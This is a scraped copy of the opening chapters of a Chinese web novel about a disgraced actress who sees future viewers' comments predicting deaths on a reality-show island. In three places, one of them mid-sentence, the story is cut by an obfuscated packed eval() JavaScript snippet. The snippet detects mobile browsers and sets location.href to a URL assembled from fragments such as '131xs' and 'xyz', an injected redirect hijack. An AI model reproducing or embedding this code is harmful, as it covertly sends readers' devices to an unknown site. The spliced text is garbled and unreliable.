《我靠弹幕在恐怖岛破案求生》 1. 未来弹幕 首发:晋江文学城 “号外号外,Notyex今年投资了几个亿的直播真人秀节目《双岛求生》开始大量招嘉宾啦!” “双岛求生?这名字听着可不吉利。” "既定嘉宾有谁啊?" “萧铭、裴婉命。” “我靠,双料影帝影后,这可都是大咖啊。” “更劲爆的还在后面呢!居然连阚炆和李若水都请来同台了!” “我靠,他俩?他俩居然会上同一个综艺?” “我到现在还记得那一年直播采访,李若水打了阚炆一巴掌,就在全帝国观众的镜头前,这也能同台?真是为了钱脸都不要了。” “呵呵,戏子嘛,为了收视率什么做不出来,这综艺一定会爆的!” “李若水这种劣迹艺人还有工作接,老天真是不公平!” 李若水一觉醒来就看见死对头的名字摆在自己面前,气得想死,立刻掏出手机打给经纪人:“珍姐,为什么让我和那个神经病上一个综艺啊?” “若水啊,你拎拎清行吗?”珍姐无奈地说,“你那个耍大牌的新闻出了以后这么些年,哪有人给你戏接啊?” “这个综艺都是我好不容易给你争取到的,听姐一句话,别不懂事啊。” “那就不接啊!”李若水脾气也上来了,“又不是不接工作就不活了,我好养活的很,吃青菜白粥,我李若水照样活下去!” “我的小祖宗!” 珍姐在那头用巴掌直拍手机,“你李若水是活了,团队不养啦?修图师不要钱?化妆师不要钱?营养师健身教练摄影师不要钱?水军不要钱?” “不要不要统统不要!” 李若水把手机掼到被子上,一股火蹭蹭往脑门冒,“什么狗屁水军,我被诬陷网暴的时候屁用都没有,还给他们工资,到底谁是打工的?” “好好好,我是打工的,行了吗?” 珍姐倒也不生气,她跟李若水相识于微末,都是从草根爬上来的。 虽然李若水现在从三线小明星跌落到没工作接,在家抠脚,但到底两个人一起攀登过山顶,有过辉煌时刻。 李若水这个人的秉性她很清楚,人品底色善良,又懂得知恩图报。 她对于李若水有恨铁不成钢的时刻,但要说讨厌到想要弃掉李若水,是万万没有的。 “姐知道你委屈,知道你是冤枉的,但是咱这不是没干过人家的水军吗?谁让人家后台硬呢,怪姐,怪姐没本事哈。” 经纪人态度一软,李若水又觉得不好意思了,嘟囔道:“我就是讨厌阚炆……” 珍姐笑了:“哎哟,姑奶奶,人阚炆还没嫌弃你呢!” 又说:“我实话告诉你吧,这综艺你知道多少人想上吗?要不是阚炆推荐你,你根本没机会!” 李若水不敢相信自己的耳朵:“阚炆推荐我?” “是啊,”珍姐那边的声音逐渐嘈杂了起来,听着是到工作室了。 “所以说,那些陈芝麻烂谷子的旧事,别死抓着不放啊,心胸开阔点儿,二十好几快三十的人了……都是大学同学,就算有仇,能多大点仇。” “我不跟你说了啊,我这边还有点事,我先忙去了。” 珍姐匆匆忙忙地挂了电话,只留下李若水看着手机屏幕上亮起的壁纸图案发呆。 阚炆推荐她……阚炆居然会给她推荐工作机会? 她长吁一口气,躺倒在床上,望着天花板上的一片空白,心里说不出的五味杂陈。 这时,脑门上方忽然叮的一声响,很像什么电子设备开机的声音。 李若水立刻警惕地坐起来,环顾四周。 什么鬼?该不会被私生粉潜入家里,装了什么私密摄像头吧? 她一骨碌爬起来,在软件商店里下了个红外检测仪,对着天花板、床底一通检测,什么也没找到。 大概是听错了,或者是养生壶之类的什么电器。李若水重新躺下来。 还不到五秒钟,那声音再次响起,清晰无误:“正在搜寻,正在搜寻……发现宿主,定位经纬度……” “鬼啊!” 李若水吓得大声尖叫起来,紧紧抱住枕头,整个人蜷缩在一起。 十分钟过去,再也没出现新的动静。 “不行,我要报警,”李若水立刻爬起来摸索手机,“我一定要报警,不管是狗仔还是粉丝,用这种下三滥手段来吓我,真是欺人太甚!” “连接成功!” 随着这一声轻响,李若水的额头正中一阵清凉触感,随后,她感觉轻飘飘又晕乎乎的,像是喝醉的微醺感,又像是水滴落入大海,整个人被包裹住,暖洋洋的很舒服。 “这……” 李若水忽然惊愕地看见,自己面前出现了一行文字! 那漂浮在空中的文字由透明变成半透明,再变成实体,接着,越来越多的文字紧跟其后出现,有绿色有蓝色,五彩缤纷,有的还闪着光。 李若水揉了揉眼睛。 “叮——宿主您好,51世纪霍拉帝国观众对您的喜爱度达到10%,已为您开启弹幕观看权限。” 一个机械声音在她脑海里说。 “要死,我一定是得精神病了……” 她披上外套就要起身,“怪不得我最近没食欲,原来我早就得抑郁症了,到底是什么时候精神分裂的……连幻视幻听都出现了……” 但随即,飘过眼前熟悉的自己的名字让她止住了脚步。 【李若水!我靠李若水!狠人啊!】 【是上世纪末帝国最大娱乐圈杀人案的唯一生存者吧?】 【那个案子到现在还是未解之谜呢,李若水从荒岛出来后被调查了几天几夜,据说什么审讯技巧都用上了,最后结果是无罪释放。】 荒岛? 李若水瞪大眼睛,想起什么似的又掏出手机,打开了置顶的“草根互助接戏群”。 这个群是她当年刚入行时在影视基地跑龙套的时候加的,后来虽然红了也一直留着,群里人数早已达到上限,也没人注意看这群里都有谁。 她翻了翻聊天记录,确认珍姐给她接的那档直播综艺名字叫《双岛求生》。 她抬起头继续看向那些飘过的文字。 【SVNT居然能买到李若水的直播,666】 【前面的,你还没说完呢,李若水无罪释放了,然后呢?】 【然后……她也挺惨的,据说她是疯了……】 什么!李若水一个激灵!我疯了? 不对不对,她又迅速地摇摇脑袋,她确实是疯了,居然把幻视内容当真了,还是赶紧去帝国精神疗愈所看病才是正事。 【我刚看了一下SVNT发布的动态,他们策划可真牛啊,这个点正好是李若水接到那档综艺,马上下周一就要去荒岛了。】 【你们光说荒岛荒岛,那个岛到底在哪里啊?】 【我搜了一下,那个岛在第12区,帝国最边缘,很危险的。周边就是亚特林和马维角,再往前走走就到了达加奥,这个节目的制作也是挺不做人的。】 【哎,怪不得最后这些人全都死光了。】 李若水愣愣地失神看着,被手机铃声吓得一个哆嗦。 是珍姐的来电。 “喂,”李若水接起电话,怔怔地说,“珍姐。” “你怎么不回消息啊祖宗。”珍姐不耐烦道,“我发给你的消息看了吗?” “什么消息?” “那档真人秀的工作注意事项啊,”珍姐说。 她似乎还在走路,高跟鞋跟邦邦地敲着地面。 “下周一就启动了,姐是特意打电话来给你放假的,这一周你就好好玩玩,散散心,该吃的该喝的都安排上,别忌讳长胖。到时候荒岛呆一个月,你可啥都吃不着了。” “真的是下周一?”李若水失声叫道。 “你是不是傻了?”珍姐被她的反应逗笑了,“怎么的,下周一你有约会啊?” “珍姐,地点定了吗?” “定了啊。”珍姐随意答道,“我都发给你了,你看看嘛,唉,那地儿可真偏啊,你要受苦了……” 李若水颤抖着手回到微信界面,打开珍姐转发的消息。 “诸位尊敬的嘉宾老师你们好,我们的真人秀探险节目《双岛求生》于下周一5月31日正式启动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460262|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >请各位老师携带简易行李和衣物,按时前往帝国第十二区航海轮渡站,靠海风大,交通不便,请老师们注意行路安全。” 珍姐的絮叨声还在电话那头继续。 “但是我跟你说李若水,吃得苦中苦,方为人上人。” “你知道这档真人秀的预约观看人数已经达到多少了吗?你知道全球有多少人想看这个节目吗?如果你表现好,翻红完全有可能的……” 手机摔落在地上。 李若水已经什么都听不进去了。 她满脑子只有那句—— “怪不得这些人最后都死光了。” ------------------------------------------------------ “网友们经常说,帝国娱乐圈已死,我不认同。” 高清屏幕上的一寸照片,被放大,再放大,定格在女人清纯动人的脸上。 “现在娱乐圈百花齐放,缺的是什么?” 穿黑色套头毛衣、胡子拉碴,显然几天没睡的男人站在会议桌前方,发问道。 “是美貌!”实习生女孩举手道。 “绝对的美貌具有绝对的压倒性优势,去年及星娱乐投资的S级电视剧《达摩诀》,明明有卜思雨这种大青衣、贾高逸这种老戏骨,唯独新人杜小凡演的红衣女一出来就讨论度节节攀升,为什么?因为她美啊!” “不对不对,”对面戴眼镜,脖子上挂着“兰斯娱乐公司”正式职工工牌的男生连连摇头,“你们还是经验太浅,照我看,是特色。” “为什么萧铭能够当独一份的常青树?不就是因为这种浪荡深情公子风没有代餐吗?论长得帅,他肯定不是最帅的。” “那要说起萧铭,我还觉得是人品呢,萧铭人品多好啊!” “人品在娱乐圈这种寸土寸金的地方,算个屁!” …… “别吵了。” 男人咳嗽两声,小会议室里顿时安静下来。 “你们都错了,观众要的是什么?” 男人用手点了点那张照片,“是看点、是冲突!” “这,就是我们的冲突。” 男人转身,用红色马克笔在白板上写下“冲突”二字,画了个圈,又写下“李若水”三个字。 “李若水,出身十三区贫民窟,十三区有多穷,大家是知道的,”男人挑挑眉,“五十年都爬不出一个像样的人。” “偏偏李若水爬出来了,还爬到了娱乐圈最红的位置。” “从最高的位置,跌落到最低的位置,被打回原形,”男人说,“这算不算冲突?” 红笔从李若水的名字下方延伸出去,在左右两边分别写下“双星晖”、“卜思雨”。 “一个是前男友,一个是仇敌。”男人手指敲击着桌面,“观众想看的点是不是就来了?” 台下众人疯狂点头记笔记。 “老大,你怎么想到李若水的?” “这是一个巧合,”男人耸肩,“要不是阚炆推荐,我也想不到她。” “老大,阚炆怎么会推荐李若水?”实习生女孩问,“李若水不是在后台扇了他一巴掌吗?这两个人历来王不见王,见面都不说话。” “阚炆和李若水唯一的交集是,他们都是帝国电影学院同一届入学的大学同学。可能时过境迁,阚炆念及老同学情谊,想拉李若水一把吧。”男人猜测。 “老大,李若水我们是邀请成功了……因为她本来就缺工作。” 男生愁眉苦脸地说,“但是双星晖和卜思雨会来吗?双星晖可是及星娱乐的董事,及星娱乐和我们Notyex是竞争对手啊。” “而且,李若水万一要是知道嘉宾里还有这两个人,不愿意来了怎么办?” “她一定会来的,”男人神秘莫测地说,“我在山里放了诱饵,吸引她来,不信她不来。” 说罢,他视线投向会议桌另一端神情严肃的老人。 “请兰董放心,我会亲自进岛,控制整个节目走向。” 男人深深鞠了一躬。 “辛苦了,司导演。”老人面无表情,点了点头。 2. 神秘嘉宾 事实上李若水根本不需要诱饵。 因为她根本赔不起巨额违约金! 一周的时间,足足有三天,李若水像躺尸一样躺在床上。 她难以接受自己要疯的事实。 而且,虽然那些弹幕来自未来,过去也有可能改变的,万一蝴蝶效应发生了,她运气没那么好,死在荒岛上怎么办? 她打电话问过珍姐,能不能取消这个行程,珍姐报出的天文数字违约金让她打消了念头。 “如果要赔这么多……”李若水双眼呆滞地望着天花板,“算了,死就死吧……” 这些弹幕,是假的吧? 她一定是在做梦。 弹幕有时会消失不见,有时又忽然冒出来。 【李若水怎么这么宅啊,她到底怎么在荒岛上活下来的?】 【对啊,下周一就要去那个魔鬼岛了,她不收拾行李吗?】 李若水被弹幕催得半坐起来,双手抓着头发哀嚎一声:“吵死了,我收拾行李还不行吗!” 她丝毫不害怕弹幕察觉到她能看见它们。 这三天她尝试过各种办法,无论是对着那些弹幕喊话,还是打手势暗示,都好像被一个玻璃罩子屏蔽了一样,弹幕立刻就消失了,再出现的时候也毫无反应。 她尝试发短信或打电话跟亲友说弹幕的事,但是只要一张口,嗓子眼就像被浆糊黏住一样,什么声音也发不出来。 是因为不能干涉注定发生的历史吗? 上空一大段金色弹幕飘过。 【我看了一下当年的新闻访谈,当年这11个人死在荒岛上之后,侦察队为了调查死因,特地勘察了整座岛的地形,这个岛非常非常恐怖的,树林里全是迷障,不是野外生存专家很难走出来。】 【而且新闻报道里说,他们抵达后不久,就遭遇雷电天气和百年难遇大暴雨,有两个人是失温而死的。】 【金色弹幕!膜拜大佬!】 【金色弹幕起码得给SVNT投资过千万了吧?大佬不都是日理万机吗?也有空来看直播节目?】 【大佬的兴趣要你管?】 李若水没兴趣看后面那些绿色和蓝色的弹幕吵架,她紧紧凝视着“失温”两个字,咽了口水。 虽然她可能大概率要死,但是死得痛苦和死得舒服,她还是会选的。 撕下一张便利贴,写下“购买清单:保温毯、指南针”。 【哎,这就对了嘛。】 【瞎猫撞着死耗子,我看她能活下来也是凭运气。】 【是傻子吗?有迷障,不带照明灯?打火机也不带?】 一条墨绿色弹幕发出鄙视的语句。 【楼上是求生界大牛吧?这么懂荒岛求生。】 【我走过的山川河流,去过的荒郊野外,没有一千也有八百,身份不便透露。】 墨绿色弹幕高冷地说。 李若水看着看着,居然有点乐,她拿了纸笔,把弹幕里的建议一条条记录下来,准备明天跑遍全城,把这些东西全都买齐。 收拾完衣服,李若水托着腮蹲在地上发呆。 她本不是个娇生惯养的人。 但自从凭借一部宫廷剧爆红之后,她就被签进了及星娱乐,凡事都有经纪人和助理替她打理,逐渐退化成四肢不勤五谷不分。 出外景的时候,连天气预报她都不用看,衣服会有人帮她打包得整整齐齐,按搭配装好在箱子里。 她曾以为,会一辈子过这样的日子…… 李若水叹了口气。 手机滴滴滴响个不停,“草根接戏互助群”的红点急速增加。 信息栏不断跳出消息。 “业内消息!这次的嘉宾超级大爆炸!居然连卜思雨也请来了。” “卜思雨?卜思雨不是和李若水……我的天!” 看到“卜思雨”这三个字,怒气从李若水的胸膛里上升到天灵盖。 “这个狗屁节目组真是欺人太甚!”李若水破口大骂,“为了点破收视率脸都不要了!他爹的!” 她李若水,本来也该是娱乐圈的鼎鼎大名传奇人物。 从鸟不拉屎鸡不生蛋的十三区考进帝国影视学院,毕业后再从影视基地的群演开始摸爬滚打,之后一路爆红,说是红透半个帝国也不为过。 虽然和阚炆闹出后台掌掴事件,但双方都选择了沉默,水军一通洗白,倒也平安落地。 给她影视生涯造成炮弹式打击的,就是这个卜思雨! 李若水清晰记得那一天,但回忆里的景象又晃动起来。那张风情素雅的脸对她露出挑衅的笑意,在她耳边轻轻说了句什么。 其实她知道这是个陷阱,可能是个局。 但她就是无法忍受,神智和愤怒缠绕在一起,脑中一团乱麻,只有一个念头——我要弄死她。 于是,掀翻了桌子,把对方按在地上扇巴掌,鼻腔里满是铁锈味,头发被身下那人的手死死拽住。 门被推开了,身旁传来各种凌乱惊恐的尖叫声。 镜头快门闪个不停。 那一天有十个头条,李若水大概占据了其中八个。 四个是“李若水精神分裂症”、“李若水暴打卜思雨”、“化妆间暴力乱象”、“卜思雨无辜”。 另四个是“精神病人能进娱乐圈吗”、“李若水耍大牌”、“李若水封杀”、“李若水道歉”。 她当然没有道歉。 于是,从那一天开始,她生存的引以为荣的娱乐圈,不再接受她。 她不是被娱乐圈封杀了,而是被她自己封杀。 直到…… 拿起地板上的手机,打开聊天软件,没有她想要的那个人的回复消息。 李若水犹豫半晌,还是给珍姐发了条短信:“姐,知道这次参加综艺的名单吗?” 珍姐秒回:“不知道。除了网上流传沸沸扬扬那几个,剩下的我也不知道,这次完全是互相保密的。” “他们制作组找人找得很临时,要的名额又多,提的条件也很宽松,报名的人贼多,光我认识的就有小二十个,猜不出来都选了谁。” 李若水扶着额头沉思。 忽然,她眼睛一亮。 虽然不能跟弹幕交流和喊话,但她可以利用弹幕获取自己想要的信息啊! 行李也不收拾了,往后一仰,李若水打开相册看起了照片。 【看得我急死,不收拾东西,干嘛呢这是。】 【一点轻重缓急不分,我最讨厌这种人。】 【她在看什么啊?好奇,导们把镜头拉近点啊。】 李若水一张张翻着照片,最终停留在一张古装剧照照片,两个戴着发簪穿着彩色轻纱的女孩头靠着头,笑容灿烂像初升的旭日。 【这是她朋友吗?好眼熟啊!】 【我也觉得眼熟……】 【想起来了!是崔璞玉啊!你们不认识吗?】 【前段时间她的混剪视频因为过于美貌出圈还小火了一把……热搜说她是帝国上世纪遗留的明珠。】 弹幕的走向逐渐如李若水所愿,纷纷科普和夸赞起崔璞玉。 果然,他们认识崔璞玉。 崔璞玉是李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460263|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若水在娱乐圈最好的朋友,没有之一。 两个人因为共同出演《求凰》而爆红,李若水演女一,崔璞玉演女二。 李若水的后续资源没有跟上,没延续这股势头掉下了三线,而崔璞玉却节节攀登,越挫越勇,好作品一部接一部成了当红小花。 化妆间耍大牌的新闻出来后,因为和清纯温柔的人设大相径庭,网上反响很激烈,痛骂李若水高高在上,戏子跋扈。 以往的细枝末节被翻出来炒作,各类情感博主头头是道分析李若水性格里的缺陷,心理专家说其实早看出来李若水有暴力人格倾向。 李若水当时刚分手不久,无论是物质还是情感上都陷入从未有过的困境,广告代言统统解约,粉丝跑了一大半,工作机会也所剩无几。 过往那些所谓的好朋友,消失得无影无踪。 李若水过去一直以为自己人缘挺好、挺受欢迎的,直到真的遇到难事,才知道爸妈常说的“交一个朋友就认认真真交一个朋友”是什么意思。 锦上添花不算,唯有雪中送炭才是真朋友。 她当时以为,她做人失败到,一个真心朋友也没有。 李若水在家躺了三个月,暴瘦三十斤,谁的电话也没接,直到崔璞玉结束电影拍摄,从国外回来,敲响了李若水的家门。 当时李若水因为关在家里太久,几乎连话都不会说了,对社交也很恐惧,看见人就害怕。 她怕别人问她这段时间都去哪了怎么不出来工作,怕别人问她怎么瘦成骷髅了,怕别人看出她这段日子的痛苦和窘迫。 最怕别人看出她李若水是个弱者。 崔璞玉帮她还清了剩下的违约金,给她介绍了零散的拍摄和自媒体类工作用以维生和过渡。 半年以后,李若水的状态才逐渐好转起来,网络上也不再对她穷追猛打,她得到了喘气的空间,开始慢慢地接一些小广告短剧。 李若水对崔璞玉感激终身也不为过。 知道荒岛会死人这件事后,李若水第一时间就给崔璞玉发了微信,问她有没有接这个综艺,但是崔璞玉一直没有回消息。 李若水焦灼地看着那些弹幕,依旧没有人发出她想要的信息。 吹完崔璞玉的彩虹屁后,弹幕大概是没了谈资,逐渐沉寂下来。 良久,金色弹幕缓缓飘过。 【崔璞玉,这个人是最可怜的。】 【她作为神秘嘉宾,最先抵达荒岛。公布的名单上甚至都没有她的姓名,直到她死在荒岛,都没有人发现。】 【二十年以后,那个荒岛大翻新,她的尸体才被发现,侦察局通过检测DNA确认了她的身份,通知家人来认领尸骨。】 李若水难以置信地看着弹幕。 【卧槽,原来我女神是这么死的。】 【之前看她的混剪,我对她挺感兴趣,去搜了古星网新闻,只显示她的生平和忌日,我还以为是正常生老病死呢。】 【怎么会这样,这也太惨了吧!】 【一个人孤零零死在荒岛,得有多绝望啊。】 紧紧盯着那些飘过的弹幕,李若水眼眶发红,眼泪抑制不住一串串流下来。 这么好的崔璞玉…… 这么好的崔璞玉居然会死在荒岛……而且还是孤零零留在那里…… 她捏紧拳头,连指甲掐破了掌心也不觉得痛。 这趟荒岛,她去定了! 就算不能拯救这些将死的人,不能逆转命运。 就算变成精神病…… 她也要把崔璞玉的尸体带回来,让她的挚友安息! 3. 倒计时3天 下了决心以后,李若水睡了前所未有的一个好觉。 第二天一大早,她就戴上口罩和墨镜,麻溜地骑着自行车往城区去了。 如果有人问李若水,住在帝国最中心第1区的好处是什么?她一定会回答,就这点好。任何物资,只要你想买,第1区一定有地方卖。 李若水把那张根据弹幕建议完善的清单揣在怀里,逛遍了整个1区的野营店和户外店,从清晨逛到傍晚,终于理清了所需物品的购买地点。 接下来,就是一点点备齐这些物品。 少一样都不行,致命的地狱,多一样东西,说不定就能多活一天。 现在距离所有嘉宾登上荒岛的时间只剩三天,李若水遵循省时原则,先去最近的城区郊游店。 她拖着一大包医疗饭盒铲子军刀,哐当一声放柜台上。 “老板,结账!” “……” 户外店的老板抬眼瞅了又瞅,从她短到齐耳的头发,扫视到破破烂烂的冲锋衣外套,再到工装裤,一脸复杂难言。 “姑娘,刚出来呢?” “啊?”李若水没听明白。 老板一脸知心老大哥的表情看着她:“刚出来是有点受歧视,但是千万要冷静,别又犯事哈。” 李若水无语,合着这是以为她刚出狱啊? “老板,您搞错了,我只是要去户外野营而已。”李若水无奈地指了指自己,“您看我这身板,看我这样,像能犯事的吗?” “我哪知道噻。”老板撇了撇嘴,“小姑娘,你这话一听就单纯,杀人犯又不会把杀人两个字刻在脸上。” “行行行。”李若水懒得解释,“老板你快给我把这些都结了。” 老板看她一脸敷衍,反而来劲了。 “姑娘,你不信是吧?” 傍晚时分,店里顾客稀少,十分安静。老板把扫码枪推到一边,索性跟李若水聊起天来。 “我是看你长得乖,才跟你说几句实心实意的话,别人我还不说嘞。”老板说,“你看我现在开了家店,人模狗样的吧?” “年轻的时候,我也犯过事,进过侦察所蹲过大牢的!” “嗯嗯嗯。”李若水低头刷着手机。 “我在监狱的时候,见过的最狠的一个杀人犯,灭口了八户人家,那个小伙子也就刚成年,长得还蛮斯文嘞,第一次见到他的时候,压根想不到他居然是杀人犯。” 李若水不以为意:“这种表里不一的人也很多啊,现在人戾气很重的,动不动就喊打喊杀。” “哎,那种狠根本就不是普通人能理解的狠,”老板摆手说,“我跟他临时分到一个房间,那个房间的老大,走路的时候撞了他一下。” “他当时什么也没说,谁知道他不声不响把那个牙刷尖尖磨了一个月,趁那个老大睡觉的时候,把他两个眼睛都戳瞎了。” “当时那个惨叫哦,”老板搓了搓脖子后颈,“我现在想起来都后背发凉,自己眼珠子都凉飕飕的。” 李若水听着也觉得瘆得慌:“那后来呢?” “那个监狱就属于我胆最小、犯事最轻……我那天晚上都被吓呆喽!后来见到他,我吱都不敢吱声。”老板回忆着,“他应该是很喜欢我那个样子,所以经常找我谈心。” “谈心?”李若水觉得荒唐,“这种人还会谈心?” “哎,讲是谈心,其实就是他在说,我在听。”老板一脸洞察,“满足一下你们现在年轻人说的那个什么……什么价值?” “情绪价值。”李若水无语道。 “对对对,”老板点头,“他跟我说了好多哦,说他天生不知道该哭还是该笑,经常被家里人骂怪胎……他家里还蛮有钱嘞,家大业大的,有点来头的。” “他说你就信啊?他家里那么有钱,干嘛还要杀人?杀了人干嘛还要坐牢?帝国有钱人那么多,让他家里把他从侦察所捞出来就好了呀。” “我记得他好像给我说过,他是哪个大老板外面姘头生的私生子,”老板思索着,“他说他生下来有六根指头,他老爸觉得邪门就不管他,让他自生自灭……” “得得得,还六根指头,都市传说啊?” 李若水有点不耐烦了,她都快去那个什么鬼死人岛了,还要在这浪费时间听一个中年人胡侃吹牛,说一些听着就不靠谱的监狱风云往事。 “老板,我还赶飞舰,您快点给我结账,不然这东西我就不要了。” “好好,不说了,你赶车早说啊。”老板挠挠头,颇有些不好意思,一件件清点着柜台上的东西,“小姑娘,败家哦,野营哪需要买这么多东西。” “备不时之需嘛。”李若水说。 “那你这还大套餐没买全啊。”老板开玩笑说,“我要是你,我再买一台多功能收音机,看,我们这儿最新款的,还带录音功能,你没事山里呼吸呼吸新鲜空气,听听小曲儿,多美。” 收音机……带录音…… 李若水沉思片刻,慢吞吞地说:“这个最新款,给我来一台吧。” 老板惊呆了:“不是,姑娘,你真要啊?你这不是冤大头么,只要你不去深山野岭,买它干嘛啊,估摸着一辈子也用不上。” “您就给我来一台吧。”李若水张口就来,“我买了送人当礼物,我那朋友老派,就喜欢收音机。” 老板见她态度坚决,也认输了:“中,妹子你拿走吧,咱俩聊得开心,我给你个最低折扣,扣掉250,算你380。” “行。” 李若水美滋滋地抱着一堆野外生存物资回家了。 接下来的两天也没什么例外,李若水转悠了小二十家店,一来一回运送物品,又把所有东西全部打包好。 这三天折腾下来,她累到虚脱,一回家就气喘吁吁躺倒在床上。 今天是最后一天,明天就要启程。 好在终于是把所有东西准备齐全了。 手机滴一声响,李若水烦躁地翻了个身,按亮屏幕一看,来短信了,发信人是一长串不知名虚拟号码。 她心里咯噔一下,忽然涌起一股不祥预感。 “听说你要上综艺了?” 李若水颤抖着手点开第二条短信。 “像你这种害死父母、道德败坏、没人爱的烂人,应该赶紧自杀谢罪。” 第三条。 “你养父母被车撞死,全是你做的孽。” 李若水看着这条短信,心脏像被扼住了跳动一样窒息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460264|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸手抓起手机,用尽最大力气把手机砸向地面! 手机屏幕瞬间被砸了个稀碎,碎成一条条蛛网状的裂痕。 “啊!” 李若水崩溃地捂住脸,大声嚎哭起来。 撕心裂肺的哭泣声伴随着漆黑的房间,手机钢化膜的裂痕并未影响时间的流逝。 主屏幕上的数字由5月30日23:59跳动到5月31日00:00。 新的一天,开始了。 李若水不知道自己是什么时候哭累了睡过去的,她揉着眼睛走到卫生间,不出意外看见了一双红肿如核桃的熊猫眼。 【哟,李若水今天状态不太好啊。】 【看这眼睛,她这得是哭了个通宵吧?好心疼。】 【她不是水肿体质啊,真羡慕,要是我,哭一夜,早就肿成猪头了,明星就是明星啊。】 【前面的,你心疼个锤子啊?日赚208的明星,需要你心疼?赚普通人一辈子都赚不到的钱,还有什么可伤春悲秋的?】 镜子成了电视机一样的载体,弹幕适时地在镜面上移动。 李若水之前没仔细看过这些弹幕,现在凑近了看,发现它们不仅深深浅浅颜色不同,甚至还各有前缀。 这些前缀有的是鱼,有的是熊猫,有的是英文字母,全是些精巧的可爱图案,挂在弹幕首部的下方,样式非常迷你,像个角标,她才从没有注意到。 一条挂着鱼的水蓝色弹幕飘过。 【楼上的一看就是帝国娱乐史没学好,应该是不知道李若水现在的具体状态吧?根据上世纪娱乐圈大事记记载,李若水现在已经不算艺人了。】 【怎么说?】 【她这几年堪称劣迹斑斑,先是和一线小生阚炆闹掰,爆出了后台掌掴事件,又和及星娱乐太子爷分手,跳出来自立门户,成立了自己的工作室。】 【那不是很厉害吗?】 【但没过多久就爆出了化妆间耍大牌新闻,这件事几乎毁掉了她的口碑和事业,现在是4047年,李若水目前只能接点自媒体类的小广告小短剧,工作室也裁了很多员工,靠吃老本发工资,算不上什么208。】 【化妆间耍大牌是什么事件?我查查……】 【查到了!李若水和新晋小花的化妆时间撞档了,李若水不仅堵在门口,还把化妆桌掀了对新晋小花打骂,是这件事吧?】 【那她也是自作自受啊,这么没素质,哪件事不是她自己做的,活该啊。】 【楼上积点口德啊,去年李若水的养父母刚出车祸,她现在是孤儿了,有些事情一瞬间就能改变一个人的性格乃至一生,有些事情未知全貌不予置评,懂不懂?】 【我赞同前面的姐妹,那娱乐圈自杀的大有人在,赚钱多就不能有痛苦了?而且新闻颠倒黑白的多了去了,不管,我看了李若水这么多天,这么宅这么懒的人,能有什么坏心眼?我对她有滤镜!】 【我们宅女没招没惹任何人】 …… 看着这些五彩斑斓的弹幕在镜子上穿梭着游来游去,空荡的卫生间好像一瞬间热闹起来。 李若水沉郁的心情被一扫而空。 她轻声地说了句:“谢谢。” 尽管弹幕听不见。 4. 十二区 5月31日,全球首档荒野直播真人秀《双岛求生》正式开拍启动。 帝国第十二区飞舰舰场。 李若水刚走出通道口,就看见门口那块围满了拿着鲜花和手幅翘首以盼的粉丝,出口通道被堵得严严实实。 珍姐一拍大腿:“哎呀,疏忽了,咋没想着给你买点接舰人员,这下好了,落于人后了。” 李若水无语:“咱能别整那丢人的吗?” “就我现在这样……”她低头看看自己的迷彩短袖和工装裤,了无生趣的一个大黑箱包,“落魄三年了,都快成素人了,谁还能认得出我?” 珍姐大概也觉得有点心酸,安慰道:“没事,妹儿,等这档节目结束,立马翻红,咱买七百个粉丝,给你在这机场围着接机,让全帝国看看咱有多红!” 李若水遮住脸快步走过。 “行了行了,快走吧,别丢人现眼了。” 走到出口处,听见后面响起一阵洪水般响亮的欢呼尖叫。 “啊啊啊啊啊啊啊啊啊啊啊陈英喆!” “儿子!啊啊啊啊啊!你今天好帅!” “小喆,妈妈爱你!” 打头阵的男人戴着渔夫帽,黑色阔腿裤,手插兜,走起来一侧肩膀一抖一抖,拽得二五八万似的。 两个助理跟在后面,亦步亦趋地推着行李箱。 李若水回头看了半晌,皱眉问道:“这谁啊?” “看来你这三年是一点没关注过娱乐圈,”珍姐说,对她表示很无奈,“这是陈英喆,现在最红的流量,最红最红那个档,选秀节目爆火的,现在是intothree男团成员之一。” “没听过。”李若水摇头,“这不是就是小孩儿么……他走路怎么那样,肩膀有问题?” “胡说八道什么,他是平面模特出身,那是人家的走路台风。”珍姐瞪了她一眼,“你见了这些流量一定要客气一些,别说不该说的话,到时候把人得罪了,翻红没成还倒赔路人缘。” “知道了。”李若水耸耸肩。 自从李若水跌落到三线又几乎糊成素人,大起大落这些年,珍姐早已被磨平了急躁的性子,看李若水有兴趣,索性停下脚步陪她一起看。 看着看着,珍姐下巴都要掉下来了,惊叹:“哇靠,这来的全是大咖啊!” 回头打量一遍李若水:“李若水,你完了,你就是这综艺里的蚂蚁。” 李若水皱眉:“蚂蚁?什么蚂蚁?” “听过蚂蚁理论没有?” 穿着条纹西服的男人含笑朝粉丝挥手。 